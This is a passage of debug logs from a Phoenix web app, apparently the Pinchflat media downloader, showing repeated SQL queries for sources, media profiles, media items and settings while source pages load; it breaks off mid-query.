source="sources" db=0.7ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:22.186 [debug] QUERY OK source="sources" db=0.8ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:22.186 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 22:17:22.187 [debug] QUERY OK source="media_items" db=0.5ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 22:17:22.187 [debug] QUERY OK source="settings" db=0.3ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.188 [debug] QUERY OK source="media_items" db=0.7ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:17:22.188 [debug] QUERY OK source="settings" db=0.4ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.189 [debug] QUERY OK source="sources" db=0.4ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:22.189 [debug] QUERY OK source="settings" db=0.7ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.189 [info] GET /sources/7/ 22:17:22.189 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "7"} Pipelines: [:browser] 22:17:22.189 [debug] QUERY OK source="media_items" db=0.4ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 22:17:22.190 [debug] QUERY OK source="sources" db=0.3ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:22.190 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:22.191 [debug] QUERY OK source="media_items" db=1.7ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:17:22.192 [info] Sent 200 in 7ms 22:17:22.192 [debug] QUERY OK source="tasks" db=1.6ms idle=1.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [7, "executing", "available", "scheduled", "retryable"] 22:17:22.193 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=3.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2351] 22:17:22.193 [debug] QUERY OK source="sources" db=0.5ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:22.193 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.194 [debug] QUERY OK source="settings" db=0.3ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.194 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 22:17:22.195 [debug] QUERY OK source="settings" db=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.195 [debug] QUERY OK source="media_items" db=0.9ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:17:22.196 [info] Sent 200 in 20ms 22:17:22.197 [debug] QUERY OK source="sources" db=0.2ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:22.198 [debug] QUERY OK source="media_items" db=0.7ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 22:17:22.199 [debug] QUERY OK source="media_items" db=0.7ms idle=4.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 22:17:22.200 [debug] QUERY OK source="sources" db=0.3ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:22.201 [debug] QUERY OK source="media_items" db=0.2ms idle=5.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [7] 22:17:22.202 [debug] QUERY OK source="media_items" db=1.5ms idle=3.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 22:17:22.204 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:22.204 [debug] QUERY OK source="media_items" db=0.4ms idle=4.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [7] 22:17:22.205 [debug] QUERY OK source="media_items" db=0.7ms idle=4.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 22:17:22.207 [info] Sent 200 in 17ms 22:17:22.397 [info] GET /sources/7/ 22:17:22.397 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "7"} Pipelines: [:browser] 22:17:22.398 [debug] QUERY OK source="sources" db=0.4ms idle=197.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:22.399 [debug] QUERY OK source="media_profiles" db=0.2ms idle=196.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:22.399 [debug] QUERY OK source="tasks" db=0.2ms idle=195.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [7, "executing", "available", "scheduled", "retryable"] 22:17:22.400 [info] GET /sources/7/edit 22:17:22.400 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "7"} Pipelines: [:browser] 22:17:22.400 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=195.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2351] 22:17:22.401 [debug] QUERY OK source="settings" db=0.3ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.401 [debug] QUERY OK source="sources" db=0.5ms idle=194.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:22.401 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.401 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 22:17:22.401 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.402 [debug] QUERY OK source="settings" db=0.4ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.402 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.403 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.404 [debug] QUERY OK source="sources" db=0.2ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:22.405 [debug] QUERY OK source="media_items" db=0.6ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= 